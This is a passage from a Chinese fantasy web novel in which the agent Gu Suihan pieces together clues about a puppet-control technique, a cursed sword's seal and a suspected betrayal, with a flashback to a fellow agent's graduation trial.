倘若她想修改自己原本的批注,在原来的纸上另写不就行了,为什么非要大费周章地换纸呢?还是说,她觉得自己原本的批注不妥,干脆把整张纸都换掉了?
她就着自己拼纸的姿势,盘腿坐在地上,把批注重新放回原位。翻到“玄蝶”那页时,她犹豫了一下,没放那页新批注,而是把那篇的内容从头认认真真地读了一遍。
她第一次读时囫囵吞枣,重读时才发现了端倪——玄蝶一族未化形前,多以忘忧花的花蜜为食。这种花蜜对别族而言有剧毒,对玄蝶来说却是如同吃饭喝水一样常见的饮食。
好巧不巧,这花蜜还有另外一个用途——制“青玉案”。
当初从姬漓的侍女那里拿到青玉案的香方时,顾岁寒虽然对香道不甚了解,却也大致匆匆扫了一眼,对其中的这一味花蜜印象颇深。因为别的原料她基本都曾见过,唯独这花蜜她没什么印象,所以格外留意了一下,没想到在这里又见到了。
玄蝶一族既然能以忘忧花为食,说明它们的聚居地肯定盛产此花,那“青玉案”这怪香会不会与玄蝶族有什么关联?
顾岁寒无意识地啃着食指指甲,在反应过来之后又及时住了嘴——白棋为了防止伪装时露破绽,是不被允许拥有啃指甲、打响指这类过于鲜明的个人习惯的。
她强迫自己把手挪远,才开始继续想:“青玉案这香,在傀儡术中究竟扮演了一个什么样的角色呢?”
中原的道术中没有依托香来施行的术法,所以顾岁寒对那香的存在一直不算重视,甚至忘了要把那香方交给香师看看。可现在想来,那香三番五次出现在傀儡术的现场,真的是个巧合吗?
现下她还不了解傀儡术具体的施行方法,却也能大致推导这个术法的原理——傀儡师把人的魂魄拘走,再用傀儡丝控制人的肉身,便能让这肉身按照自己的心意行动。
但这个术法里最大的问题之一,就是那“傀儡丝”究竟是什么?
它肯定不是实体,否则一是太不方便,二是容易被人发现;它也应该不是类似灵力这类无
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形却有力的牵引,否则她在靠近鲁纳时不可能毫无察觉。
现在想想,“青玉案”的香气……或是别的什么特性,会不会充当了某种类似“傀儡丝”的角色?作为傀儡师的韩玉青身上有,作为傀儡的鲁纳身上也有,疑似傀儡的姬漓身上也有。
可是“青玉案”的香气再怎么奇怪,也只是一种香而已,真的有如此神通的能力吗?
顾岁寒百思不得其解,决定还是把那香方带去滇国看看,指不定那边的术士会有思路。
这本《滇南记》被她看得差不多,她记下了玄蝶族的内容,将书放回了原位,却忽然意识到了一个问题。
“不对啊,”她喃喃道,“倘若我的推测成立,玄蝶一族和傀儡术果真有关联,那姬泠又是为什么要换批注呢?”
难道说,她早早就意识到了傀儡术的存在,那张批注上写了一些她对此的推测,她在捐书时觉得不妥,所以把那张批注撤换掉了?
这个推测说得通,但顾岁寒还是感到了些许古怪。如果姬泠早就发现了傀儡术和“青玉案”,为什么没有和阁里商讨呢?
除非找到那张批注,否则这个问题堪称无解。她心事重重地把书放好,楼梯隐隐有脚步声传来,有人上楼了。顾岁寒朝着楼梯口看去,发现是个眼熟的黑棋,她回忆了一下对方的名字:“汤奉?”
此人是被派往上林苑监视沈和正行动的人之一,顾岁寒和他共事过几天,所以对他有些印象。他快步走到顾岁寒面前,麻利行礼:“执棋,蒋奚大人叫我来找您!”
顾岁寒想起来之前自己找人问沈和正与宋礼密探的事,忙问:“我听说陛下回城前曾经找沈和正密谈过,你们有听到什么吗?”
“有的,执棋。沈和正用了隔音的术法,不过我们的人用了反咒,还是听到了一些。”汤奉思索道,“陛下说和谈的条件还要再议,让沈和正先回驿站等候召见。沈和正也没什么意见,很快就答应了。两个人似乎没有说什么很要紧的事。”
就这点事,至于单独把人叫过来说吗?找个太监传话不行吗?顾岁寒的质疑还没出口,汤奉的眼睛忽然一亮:“哦对了,沈和正告退前还说了句很奇怪的话,他说……‘你果然很有手段,合作愉快’。”
“啊?”顾岁寒心说那小皇帝除了坑自己姐姐之外还有什么手段,“就……这些吗?”
“反咒不稳定,我们怕沈和正察觉,所以用得一直很小心,听得肯定不全。”汤奉一板一眼道,“但基本上就是这些,大差不差。”
顾岁寒点点头示意自己明白了。汤奉问:“执棋还有别的事要问吗?”
“没了……沈和正现在还在驿站?”
汤奉点头,顾岁寒叮嘱道:“他一定要看紧了,这些天辛苦你们。”
汤奉应是。顾岁寒挥了挥手示意他可以离开了,自己站在原地陷入了思考。
沈和正临走时那句话堪称莫名其妙。可倘若换个思路……如果这句话沈和正不是对宋礼说的呢?
毕竟沈和正在北周再怎么呼风唤雨,现在也只是代表北周的一个使臣而已。除非他不想和谈,否则他为什么要大逆不道地对别国皇帝直呼“你”,而且还点评他“很有手段”?
当然,也不能排除宋礼实在是太窝囊,所以沈和正压根没把他放在眼里的可能性。但假如说,沈和正的这个“你”,压根就不是对宋礼说的呢?
顾岁寒缓缓吐-出了一口气,意识到了那个最坏的可能——
如果宋安澜和姬昀的推测成立,宋礼被傀儡术控制,那么沈和正有没有可能……在和傀儡术背后的人对话?
39. 钗头凤 四
一股凉意从顾岁寒的后脊梁爬了上来。她强压下了立马和宋安澜汇报此事的欲-望,理智渐渐回笼,觉察到了此事的蹊跷之处——
沈和正虽然算不上三头六臂,但在术法上的造诣肯定还是远在落棋阁这帮黑棋的。他明知自己在上林苑被落棋阁的人全方位监视,还落下了隔音术法防备他们,那他真的察觉不到黑棋们水平跟三脚猫似的反咒吗?
这句话固然很可能不是特意说给宋礼听的,但很有可能也不是说给傀儡术背后的人听的,因为实在是太画蛇添足了。给傀儡术背后的人传话有无数种方法,每种方法都比在落棋阁的眼皮子底下通过别人的皇帝递话更高明。
这句话,很有可能就是刻意说给落棋阁听的,让他们怀疑宋礼,进而自乱阵脚。
落棋阁虽然名义上只听宋安澜的管辖,但鉴于宋安澜对宋礼的态度暧昧,所以除非宋礼的命令和宋安澜背道而驰,落棋阁其实也还是会听他的。
可倘若对宋礼的怀疑像一颗种子一样种下,宋安澜和落棋阁还会像原本那样对宋礼言听计从吗?
顾岁寒猜,让南盛的这对姐弟俩内讧才是沈和正的真正目的。
她深深地吸了口气,从乾坤袋里摸了张信符出来,在符背面把此事原原本本地说了一遍,没说自己的推测。火光一闪之后,符纸在她手中烟消云散,送到了宋安澜的案头。
这事还是留给宋安澜这个当事人烦恼吧,她作为手下老老实实办分给她的事就行。不过她把那个没被发现的反咒特意标明了一下,希望对方能领会自己的精神。
发完信,她沿着楼梯缓缓往下走去。
俗话说得好,敌人的敌人就是朋友。但这条规则在北周和滇国之间略微有些不适用——因为北周和滇国之间是有世仇的,这仇甚至比滇国和南盛之间更深刻。
原因无他,魔修修行时吸取浊气血气多了,就会想破杀戒。柿子挑软的捏,很多魔修都喜欢虐杀更加温和、相对与世无争的妖族。
所以这次归雁台和傀儡术背后的人联合,顾岁寒其实是十分惊讶的。
可是如果换个思路想,如果说傀儡术背后的势力其实根本不是滇国……或者说不能完全代表滇国呢?
之前在上林苑时,众人被“傀儡术是只有滇国才有的秘术”这个固有的思路牵着跑,再加上一群人昏迷,上林苑兵荒马乱,所以都没有仔细想过这个问题。
可现在顾岁寒隔岸观火,忽然意识到了其间最大的破绽——傀儡术或许起源于滇国不假,可韩玉青却不是滇国人。傀儡术一案,滇国当真是背后主使吗?
退一步想,此次北周和谈,宋礼莫名其妙地开始对宋安澜卸磨杀驴,又莫名其妙地要秋猎,将和谈的地方挪到上林苑,把顾岁寒呼来喝去地使唤一遍,看似又多疑又窝囊,细想之下背后少不了归雁台——或者说就是沈和正的挑唆。
和谈固然是真,但沈和正目的不纯也是真。北周在去年一战中固然算不上伤筋动骨,却也是偷鸡不成蚀把米,再加上他们小皇帝急于站稳脚跟,所以与南盛和谈是必然的。
但顾岁寒始终还是觉得,此事疑点重重。别的不说,北周这次和谈实在是太有诚意了。她虽然因为被沈和正的分身偷袭了,没能听见和谈的具体内容,但后来也听说了一些。
别的不说,光割地和岁贡两项的东西就多得吓人,不知道的还以为北周不是暂败,而是已成丧家之犬,需要向南盛摇尾乞怜。
除此之外,和谈一事,历来没有搬到上林苑谈的先例,毕竟除非是独断专行的君主,否则这种大事没有皇帝和对方使者碰个头就能解决的,朝中的臣子们都要趁此事发表一下自己的高谈阔论,主战的主和的互相讽刺一下,再皮笑肉不笑地握手言和,皇帝看完两边表演,做出决断,这才算是君臣尽欢。
如果是在上林苑谈的话,只有部分重臣到场,这次和谈的性质就会儿戏很多。可宋礼不仅这么做了,还把顾岁寒一行人叫过去耍猴似的转了一圈。
她在和手下的黑棋们熟悉新地方时就已经在心里骂过宋礼这个没事找事的很多遍了。上林苑在的这座山地形实在是太复杂了,他们看护宋礼和监视沈和正的难度都大大上升,而临安也算落棋阁的半个“老巢”,黑棋们连临安街巷里的下水道新增了几窝□□都知道得一清二楚,如果和谈在临安就会省下众人不少事情。
但现在想想,“把和谈的地方放在上林苑”,会不会本来就是沈和正的和谈条件之一呢?
毕竟换了陌生的地方,上升的不仅仅是落棋阁保护皇帝的难度,还有他们监视群臣的难度——比如说没人知道鲁纳什么时候跑去“幽会”沈和正的。
沈和正会不会正是意图利用这一点,和韩玉青“接头”的呢?可这两人为什么非要在临安接头,换个地方不行吗?
“总不会……”顾岁寒想起了姬昀的话,“总不会沈和正当真是为了找我才来的吧!”
这个猜测让她不禁一阵恶寒,有了一种被草丛里的毒舌盯上的错觉。她晃了晃头试图把这想法甩出去,喃喃道:“算了算了,不纠结了,查明傀儡术真相要紧,这事留给宋安澜操心。”
纠结这些没有意义,在查明傀儡术和韩玉青的下落之前这些都是没有依据的空想。可顾岁寒早就习惯了想十步走一步,把所有的可能性揣度一遍几乎已经成了下意识的习惯。
天知道自己是怎么养成这种习惯的……顾岁寒觉得以前的自己简直不可理喻,强行暂停了脑中所有的胡思乱想,气呼呼地把藏书阁的门一推。
外面的天色还黑着,只有东边的天空擦出一线月季色的黛彩。顾岁寒在阁里看书看得入迷,推测不好具体的时间,但看天色也应该快天明了。
虽说也算是熬了一整夜,但仰赖昨天白天实在睡太久了,顾岁寒现在几乎没什么困意。更何况现在去睡觉恐怕头一沾枕头又要起来,时间实在有些不尴不尬。
但此时距离约定的出发时间也还尚有距离。她站在原地,几乎有些不知所措了起来。
常年住在阁里的棋子们都有自己的值房。说是值房,其实也是棋子们休息睡觉的地方。顾岁寒有镇北侯府可回,所以没在阁里另外占地。她要是想在阁里找个地方待着而不是四处漫无目的地乱晃,就只能回自己的书房。
但书房里冷桌硬板凳,除非要处理公务,否则顾岁寒实在不喜欢在那里久待。在原地驴拉磨似的转了两圈,她决定去演武场练会“早功”。
平心而论,她其实不是很喜欢在演武场练武,因为在众目睽睽之下绕着桩子上蹿下跳总让她觉得
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自己像只猴。但现在这个时间点,除非是像她这样日夜颠倒的,应该没人在演武场发愤图强。
……吧。
事实证明,真的有。她又忘了马上要到出师大比,黑棋的比试结果是出师大比中非常重要的一项,这群人平时不用功,倒是快考试时拼命起来了!
她刚一踏进演武场的大门,场中几束目光就直勾勾地看了过来。顾岁寒暗暗后退了一步:“嗯……晚上……早上好?辛苦了?”
黑棋们看清了是她,纷纷松了口气,行过礼之后各自用功去了。顾岁寒对这群人前后反转的态度弄得莫名其妙,正打算抓个人来仔细问问,忽然发现了众人中一个熟悉的身影:“二娘?你怎么也在这里?”
怎么,是出师之后不合格又被打回来考试了吗?
二娘看起来正想趁着她不注意偷偷溜走,闻言后背一僵,老老实实转回来:“执棋。”
顾岁寒奇道:“我不是叮嘱你们今晚好好休息吗?明……今天日升之前咱们就要出发了,不睡觉精力怎么够?”
二娘拧着自己的衣角,低着头嗫嚅道:“我……我觉得自己太差了,怕拖大家后腿,所、所以……”
顾岁寒哭笑不得:“怕拖后腿现在努力也来不及了啊,练武又不是一日之功。”
她本意只是阐述一个事实,没想到陈二娘听见之后,看起来更加慌张了:“我……我……那要不属下不去滇南了吧!”
顾岁寒万万没想到事情竟会是这个走向,连忙把要临阵脱逃的人叫住:“哎!我没那个意思!”
陈二娘哆哆嗦嗦地停住了脚。顾岁寒看着她唯唯诺诺地样子,不由得一阵头疼,心说:“这胆子,当初是怎么让出师的?这也太儿戏了。”
黑棋的选拔不是科举,科举选出来个没什么文化的坑老百姓,黑棋选出来个不合格的,不只是会让他自己送了命,搞不好还会牵连他一整条线的黑白棋们一起暴露,手拉着手上西天。
出师大比的意义正在于此。小棋子们入阁后五年可以开始参与大比,但并不是每个参与大比的人都能出师的。出师大比的通过率低得令人发指,最低的一年参与的黑白棋一共五十来人只过了七个。
没有通过大比的人只能在阁里再学一年,等明年再战。也有不少棋子一直无法通过,在阁里消磨时光,帮忙干一些上药看库房这类的工作。
这陈二娘看似排名还不错,也通过了大比,怎么是这么个鹌鹑性格!
顾岁寒一时没忍住,把心里话问出来了:“……谁让你通过的大比?”
陈二娘瑟缩地看了一样,“嗡嗡”地说:“是姬……姬檐雨师姐。”
顾岁寒一怔。姬泠目前还是个负罪之人,所以一般人为表轻蔑,一般都直呼其名,宋安澜那几个关系亲近的则一般是“阿泠”“阿泠”地叫。忽然听到姬泠的字,她几乎一下子没能反应过来:“啊?”
这个“啊”本意是她忽然听到不熟悉的名字时下意识发出的,但陈二娘显然曲解为了其他的意思,梗起脖子大声道:“姬……姬师姐人很好的!只是我不争气!”
顾岁寒意识到对方误会了自己,连忙摆手道:“不……我没有……唉。姬……檐雨那时候不应该已经常驻青州分舵了吗,怎么还有空回来主持大比?”
40. 钗头凤 五
陈二娘意识到自己误会了顾岁寒,声音顿时又嗡鸣了起来:“姬……姬师姐每年都会回总舵的,那年正好碰上我们大比。张执棋忙,所以姬师姐就帮忙……”
陈二娘说话时,顾岁寒的注意力原本被校场上一个失手从高梯上掉下来的黑棋吸引走了,但陈二娘提到“每年都会回总舵”,她敏锐地捕捉到了里面的不对劲:“每年都回?”
落棋阁有一本“棋册”,给每个在阁里的棋子都在里面建了档,前日晚上那个脑袋缺根筋的小棋子想毁掉的就是这个。里面记录了每个棋子的生平、长处、建树,以及简要记载了该棋子每年都干了什么。
当初为了查姬泠的案子,顾岁寒刚回阁里没两天就把她的棋册调出来来回看了两三遍。
不得不说,她的履历在阁里所有人中还是相当辉煌的——她十岁进落棋阁,花了七年通过了出师大比,并在那年所有黑棋中排行第一。
要知道由于武艺难习更难精,黑棋十几年出师都是常事。姬泠这个出师速度虽然算不上前无古人后无来者,也是落棋阁黑棋中的翘楚。
出师后她在阁里教了两年黑棋,主要教轻功和暗器使用,而后被派去青州分舵,以北安军军师的身份为伪饰,在前线当了五六年情报桩子。
结合宋安澜和她说的推测,张首晟很可能要在她与姬泠之间选出一个继任者,所以那几年对她俩都委以重任。
但无论是“棋册”还是宋安澜,都没有提到过姬泠“每年都会回总舵”这件事。
棋册记载笼统,没记录这种零碎事不足为奇;可宋安澜和姬泠同袍情谊感天动地,姬泠每年都会往总舵跑,居然没有和宋安澜提及过吗?
就算姬泠作为只有少数人才知道真实身份的“军师”,在军中行走自由度颇高,偶尔执行任务一消失就十几天,甚至一度“划水”到了让镇北军不少人诟病的程度,但她始终算作镇北军的一员,往来行动基本都要和主帅报备。回总舵又不是什么见不得人的事,为什么宋安澜会不知道呢?
顾岁寒本能地意识到里面有问题。果然,她问题刚出口,陈二娘的神色立刻就不对了,结结巴巴:“我……我……”
顾岁寒追问:“姬泠并不是光明正大地回阁里,对不对?我没听别人说过这件事,你又是怎么知道的?你观察这些有什么目的?”
最后一句话几乎有些审问的意思了。陈二娘顿时吓慌了神:“没……没有……我……”
“你想清楚,陈二娘。”顾岁寒压低了声音,循循善诱,“我相信你,所以我现在没有动武,也没有把你押到棋牢。可你要是不老实交代,我可就不能保证后面会发生什么了。”
陈二娘胆子比猫小,已然被震慑住了,慌慌张张地几乎要哭出来了:“不……不,不是的,其实只是因为,因为……”
她最后一个“因为”尖利得破了音,顾岁寒耐心地等她下文。只见她脸涨得通红:“因为……我崇拜姬师姐,所以一直在偷偷观察她的行动!”
这个回答差点让顾岁寒的下巴磕到脚面。
她以为这小姑娘包藏祸心,结果居然是“春心”!
她难以置信:“可是……倘若真的是别人都不知道的机密,你一个还没出师的黑棋,是怎么观察到的?”
别的不说,黑棋出师大比中就有一门“潜行与观察”,陈二娘要是当真在此项中能力登峰造极,至于最后排名只有那么点吗?
不知是不是一鼓作气吐露了心声,陈二娘坦白后面的细节就轻松了许多。她抬起头来,怯怯地比划:“当初,姬师姐……或许该叫姬教习,曾经带过我们一段时间轻功。后来她去分舵,临行前给我们一人送了个平安符。”
这个习俗顾岁寒也有所耳闻。落棋阁的棋子毕竟是个死亡率较高的行当,所以许多教习在学生出师之前都会自己画个平安符送给学生,既不算什么劳心费力的贵重礼物,又表明了祝福与心意。
这行为本身不算稀奇。顾岁寒静下心来听陈二娘讲,果然,下一句她就讲到了关窍:“姬教习对我们很用心,平安符上都附了一段自己的剑气,能在危难时帮我们挡一招。”
“我们领到平安符后,不少人发现了符中剑气时强时弱,但平安符本身不算什么高级符咒,失灵在所难免,所以我们一开始都没放在心上。”
陈二娘低下头,拧着自己的衣角:“直到有一年除夕,我听闻姬师姐那年少见地回来团圆了,还在总舵逗留了一晚。好巧不巧,她回来时,剑气忽然强了;走时,剑气忽然弱了。”
顾岁寒本身也是爱剑之人,听罢,不用等陈二娘说完,就明白了这平安符其中玄机。
按照棋册记载,姬泠固然精通百般武器,但她其实是以剑入道的。所以从修士的角度来说,她其实算个剑修,留剑气给自己教过的小孩们防身也合情合理。
据说剑修修到顶尖,便是“手中无剑,心中有剑”,剑气也不再依托于实物生发,而是随主人心意而动。但姬泠显然还没修到这个境界,她的剑气依托于某把随身携带的剑,所以剑气才会在她靠近时变强,离开后变弱——顾岁寒推测,那把剑很有可能就是姬泠的爱剑霜尘。
想起霜尘,她便不受控制地又想起来谢停舟,忍不住又是一阵牙疼。但现在很明显不是走神的时候,她强行拽回自己的思绪,心说这小姑娘恐怕是因为崇拜姬泠,所以格外关注她的动向,便也因此猜出了剑气强弱与姬泠位置间的关联。”
果不其然,陈二娘继续道:“我就猜,剑气强的时候,平安符和姬师姐之间的距离就近。就这样,我发现她一年里大概要回总舵四次,大概每三个月一次。”
顾岁寒对这小姑娘如此细致的猜测表示五体投地,也不知道姬泠泉下有知,知道自己有这么一个心思不用在正道上的窝囊小黑棋追随者会是什么心情。但她一转念,就意识到了此事的不寻常之处。
落棋阁不是朝廷,不时兴让地方官员定期回京述职这一套。总舵与分舵间的联络基本全靠跑腿的黑棋和传声符,姬泠作为分舵的负责人,把分舵看好就可以了,为什么非要定时定点跑回总舵?
她堂堂黑棋大比第一,又不是没断奶。那她是为了什么,每三个月秘密跑回来一趟的呢?
……又或者说,是阁里有什么东西,需要她每三个月回来一次?
谢停舟的声音忽然在她耳边响起:“正好阿泠和姬昀将军同过二十九周岁的生辰,且两人恰好都在京中……”
姬泠姬昀二人的生辰在七月。去年西南边境一片祥和,姬昀闲得长草,把谢停舟一拽,所有军务都扔给了自己的另一个副将,回京述职顺带休沐。
可去年夏天北疆可不太平,虽然北周没什么大动作,但不知为何气象异常,北疆雪山融雪不够,河流干涸,不少农户遭了旱灾。宋安澜虽然人被先帝召回了京,却支使了手下人派将士帮农户家中打井取水。
落棋阁手里有最全面的地脉图和水系图,照理来讲帮忙打井这件事姬泠应当是当仁不让才对,可她怎么也跟着跑回朝歌了?
二十九岁生辰也不是什么大日子,没必要讲究到特意回来过吧?
除非……是又到了她三个月回来一次的日子。生辰、休沐什么的都是顺带。
而到了三个……快三个月之后,沈和正悍然入侵落棋阁,夺走了碎曦,随后几乎血洗全阁。
在所有关于去年秋天落棋阁事件的描述中,顾岁寒一直非常在意一个问题——为什么落棋阁刚刚出事,满地的血还没来得及凉,姬泠就好巧不巧地出现了?
举世闻名的凶剑、神剑碎曦,为什么要毫无防备地放在落棋阁的武器库?正如宋安澜所说,落棋阁一直都不是一个非常森严的地方,她都知道的事,宋钟作为能在乱世中定江山的她亲爹,难道会不知道么?
除非……那把剑有什么非要被放在落棋阁里的理由。
她一把抓住了陈二娘的衣领,直视着她慌慌张张的眼睛:“陈二娘,考察你阁史的时候到了。在落棋阁没有落成之前,碎曦这把剑是在哪里放着的?”
“在……在青州姬氏!”陈二娘被执棋这样抓着,几乎要紧张得哭出来了,“碎曦是由姬氏先祖锻炼出来的,再加上姬氏德高望重,所以一直由姬氏掌管,直到新朝建立,姬氏传承断绝,才由阁里秘密保管!”
顾岁寒松开她的衣领,陈二娘猛得弯下身呛咳起来。
而顾岁寒没管她,愣愣地站在原地,明白了一切。
碎曦剑这么一把戾气冲天的凶剑,被放在落棋阁里这么久却没被觊觎它的人发现,本身已经是个很大的破绽了。
除非,它的气息被某人以某种方法掩盖了,甚至是封印了。现在想来,这个人很有可能就是姬泠。
所谓“落棋阁一直被姬家守护”的秘辛,顾岁寒完全没从盛史的记载上读到过——准确来讲,这把剑的存在在史书上一直是一件讳莫如深的事情,直到去年这把剑失窃,盛朝为此蒙受了巨大的损失,碎曦的神妙与危险之处才渐渐被所有人了解。即便如此,这把剑的来历和去向也只是少部分人才清楚的事情。
顾岁寒这些日子查姬泠的案子时,光在姬泠还有韩玉青这两人身上打转,完全忘了这个案子里另外一件很重要的死物——碎曦剑。而出于不知道什么的原因,了解这件事的所有人都没和她说过姬家和碎曦剑的关联。
宋安澜还有别的落棋阁人好说,他们不知道她究竟失了多少忆,所以除非她主动问,一般也不会刻意和她提及。
但有一个人的隐瞒就十分刻意了。
“姬昀。”她喃喃道,“他绝对还知道点什么。”
说罢,在陈二娘不解的目光中,顾岁寒转身就走。或许是更深露重,顾岁寒今天少有地披了一件披风,后摆随着她的动作,轻轻拂过了陈二娘的鼻尖。
这一场景无端让她联想到了几年前相似的一幕。她喃喃道:“师姐……”
那是先帝二十四年的出师大比。这是她第四次参加大比,上一次已经堪堪摸到了出师的尾巴。
原本她以为这次她应当十拿九稳了,结果临门一脚却出了问题。就在考试的前两日,她被人从校场的高杆上推下,虽说轻功在身没受什么重伤,落地的姿势却寸了些,把右脚给崴了。
所以,今天顾岁寒半夜摸进校场时,那些人向她投去不善的目光,最先注意到的却是陈
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二娘。她太熟悉那些人了,他们自己没有能力,便恐惧着所有比他们更努力的人,将所有可能爬到他们头上的人都推下去。顾岁寒今天进校场时脚步轻悄,恐怕就是被误认为了半夜还来努力的优秀黑棋。
时过境迁,不会有人一直停留在这片校场,却一直会有人怀着那样崎岖的心。
这伤可大可小,医修用点灵力就能帮她隔绝痛觉,但改变不了她这两天都会有点瘸腿的事实,她只能这样歪歪扭扭地去大比。听到结果的瞬间,原本因为姬泠主持大比而雀跃的陈二娘的心顿时凉了下来。
她原本以为自己应当能在姬泠面前有个好表现,让她记住自己——即便她只是姬泠教过的无数棋子中平庸的一员,她还是怀着一点私心,希望自己能在她心里留下一席之地。
大比当天,她吊着一条腿蹦来蹦去,像一只可笑的瘸腿兔子。评判席另设在藏书阁高处的露台,阳光烈烈,陈二娘迎着光看去,只能看到席上那个模糊的清瘦剪影。
黑棋大比的最后一项就是比武。参与的双方站上临时搭建的高台,抽到数字大的人先起手,两个人都可以用自己最擅长的兵器和招式,点到即止,不可伤及性命。
她的运气恐怕是霉到了极点,第一轮就抽到了那个推她的棋子。他本来在那批人中表现就中上,飞刀使得快而灵,恰好踩中陈二娘这腿脚不便的人的痛脚。被对方狠狠压到地上时,她闭上了眼,清晰地感觉到了颈侧的寒意。
她被推之后曾经找教习揭发过他,教习虽然是个歪屁股的,没有惩治他,事情传出去之后却也让他得了阁里其他人的排挤和嘲笑。
他这是恼羞成怒了,想杀人报仇。
千钧一发之际,陈二娘的胸口微微发热。还没等她明白过来那是什么,一道寒意便贴着她的下巴飞出,将那人活生生掀出了好几丈远,顿时便听得场中杀猪般的惨叫声!
陈二娘费力地抬起头。被血蒙住的视野里,一个玄黑的身影缓步沿着台阶走上比武高台,蹲在了不省人事的作恶者身边。
“出师大比规定,比试双方需点到为止。阁中棋子均以兄弟姐妹相称,即便在大比中暂时为敌,也不可伤及性命。”姬泠俯视着地上呼哧喘气的人,也不知看出了什么,嫌恶地站起了身,“我留下的剑气只有在主人收到生命威胁时才会被触发。此子对同门心怀杀意,已然不可留,着择日逐出落棋阁。”
原本还半死不活躺在地上的人听到了判词,顿时嚎叫了起来,含含糊糊地求饶。可姬泠完全没留给他一个眼神,头也不回地下了台。
原来……是那枚一直被她随身携带的平安符救了她性命。
她受了重伤,自然不能再比武,被人从台上抬下去送进了医阁。在床上躺着养伤的日子里,她百无赖聊,托了关系好的妹妹帮她从市集上淘了闲书,津津有味地看。
有一天她正看到精彩处,咯咯笑出了声,便听得有人温声问:“看什么呢,这么开心?”
此人来时无声无息,陈二娘被吓了一大跳,书差点从手里飞出去。一只骨肉匀停的手压下了书,露出后面姬泠笑眯眯的脸。
尽管知道黑棋出师之后便很少以真面目示人了,陈二娘还是被那虚假的皮相所惑,讷讷道:“师……姬教习。”
“叫那么疏远干什么,我都好久没教过你了,叫师姐就行。”姬泠被她的老实样逗得乐不可支,但不知为何,陈二娘总觉得她唇色有些发白,似乎是气血有亏的样子,“你伤怎么样了?没影响到根本吧?”
陈二娘摇了摇头,随即想到自己现在能活下来还是托了姬泠那道剑气的福,连忙道:“二娘多谢师姐救我性命。”
姬泠脸上顿时泛起了可疑的红晕,干咳了两声:“没什么,那剑气能派上用场就好。我当初画符时老担心它不好用。”
说罢她从乾坤袋里又取了个一模一样的平安符出来,塞进陈二娘手心:“这个新的你拿着。毕竟算是咱们师徒一场的缘分,就这么被用了也可惜。哦,对了,今天还有个最重要的消息忘了告知你。”
姬泠笑眯眯道:“虽然你没能完成比武,但从你前半部分大比和第一场比武的表现来看,你出师啦!恭喜恭喜!”
她居然出师了,而且是姬泠亲口告知她的。陈二娘的思绪顿时轻飘飘地飞上了屋顶,连后面姬泠又说了些什么话都不太记得了,唯有姬泠说完后离开时拂过她鼻尖的披风记忆犹新。
落棋阁有规定黑棋的衣物不允许用熏香,所以那衣摆是阳光晒过的尘土气息,那气味被陈二娘珍而重之地藏到了心底,带到了今天。
“师姐,”她喃喃道,脸上浮出了一个昏昏然的笑意,“我一定要手刃韩玉青,为你报仇。”
临安城的另一侧,宋安澜正在自己的院子里练功,两坛千斤重的大水坛【注】被她舞得虎虎生风。忽然,顾岁寒风风火火地闯进来,当头便问:“姬将军呢?”
宋安澜放下水坛,莫名道:“这个点应该在隔壁院子收拾回军中的东西吧……”
话音未落,顾岁寒便又转身出了院子。宋安澜被她披风带起来的风糊了一脸,疑惑道:“急什么呢……不是再过一会你俩就要集合出发了吗?”
41. 西江月 一
顾岁寒带着风闯进姬昀的院子,把正在点行李的姬昀吓了一跳。他还以为是滇国之行出了什么问题,忙问:“怎么?是计划有变吗?”
顾岁寒没作答,直到走到姬昀面前才停住脚:“姬将军,当初你和我们说的‘姬氏的传承’,究竟是什么?”
姬昀被问到这,顿时神色不安起来:“你……说这个干什么?”
“姬将军不乐意说,”顾岁寒心平气和地抱着手,“那我就把我的推测讲给将军听。”
“碎曦是姬家先祖打的剑,代代相传,戾气冲天。但不知为何,这把剑在姬氏手中时一直安然无恙,几乎所有人都意识不到它的存在。我猜,是因为姬氏有某种血脉相承的术法,可以掩盖碎曦的戾气、并封印它,让它不能轻易被外人拿走。”
说话时,顾岁寒看着姬昀的脸色变化,便知道自己猜对了:“到了这一代的姬氏,传承了这个术法——或者说负责使用这个术法的是姬泠。正是因为这,碎曦剑被暂时寄存在了落棋阁,由姬泠每三个月回来施一次法,对吗?”
姬昀愕然抬头:“你怎么知道是三……”
“我当然不应该知道这种细节,因为姬将军没和任何人说过。”顾岁寒打断了他的话,“可姬泠如此有规律地来往两地之间,只要有心人有意观察,总会发现端倪。”
姬昀顿时急道:“是谁……”
“我知道将军在想什么,但很可惜,那个人应该不是将军想要的人。”顾岁寒第二次大逆不道地打断了姬昀说话。她感觉心里有一团莫名的火在燃烧,“我还能猜出来将军不愿意把这件事说给我听的理由。因为此事一旦被我知道,‘姬泠没有通敌’这件事的可信度在我心里便会大大下降,对吗?”
姬昀不作声了,但顾岁寒明显感到他的脸色灰败了不少。她缓缓道:“去年七月,姬泠名为回来过生辰,实则是又一次回来加固碎曦的封印。也就在那天,她书房的‘通敌信’被姬漓拿走,但不知为何,姬漓夫妇二人将信扣了下来,隐而不发。”
“直到十月,碎曦剑的封印再一次松动,可它等来的不是姬泠,而是来夺剑的沈和正。这时机实在是太巧了,正好三个月,不多不少。封印的强度几乎降到了最低,而姬泠还没来得及回来补足。”
姬昀听懂了她的暗示,苍白辩解道:“不是的,不是的,阿泠不是那样的人……”
“我也相信她不是那样的人。”顾岁寒平静地歪着头,“可是,只有我们相信是不够的。种种迹象都指向了姬泠,除非我们现在有证据证明,有另外的人知道姬氏传承的事,且此人知道封印的具体时间,还有落棋阁的具体位置,并把这三件事打包卖给了沈和正。”
说这话时她本意只是叙述一个事实,心中并没有确定的人选。可随着她把条件一样样列出来,她注意到姬昀彻底面如死灰。
她刚开始还以为这是因为姬昀符合这三个条件,因而以为顾岁寒在怀疑他,这才神色不安。可随即,她忽然意识到了,有一个人其实也符合这个条件。
她性格温和,或者说懦弱,没什么修为,有着惊天的美貌。她的夫君对她宠爱备至,但京中却有两人内宅不和的传言。
她的姐姐偏袒她,蒋奚曾经提过,她不开心时,姐妹两人曾在落棋阁里抵足而眠,彻夜私语,为她开解心结。因为她几乎满门忠烈的家世,连落棋阁对朝中重臣严密的监管都对她与她的夫君网开一面。
但她却完美符合以上三个条件:她知道姬家的传承,因而知道这封印需要三个月加固一次;她和姬昀姬泠二人一起过了生日,所以她能推导出上一次封印的时间;她偷走的那封姬泠桌上的信里有落棋阁的具体位置,倘若她再有心一些,或许就能通过几次来往落棋阁的经历知道阁里那个缩地千里阵的具体用法。
顾岁寒想到最后一次见到她。隔着“青玉案”的雾,她的目光带着不安与渴盼,柔柔地投在了顾岁寒的身上。那目光轻似烟,柔似水,仿佛她那双柔软的手化为实质,轻轻地抚在人肩上。
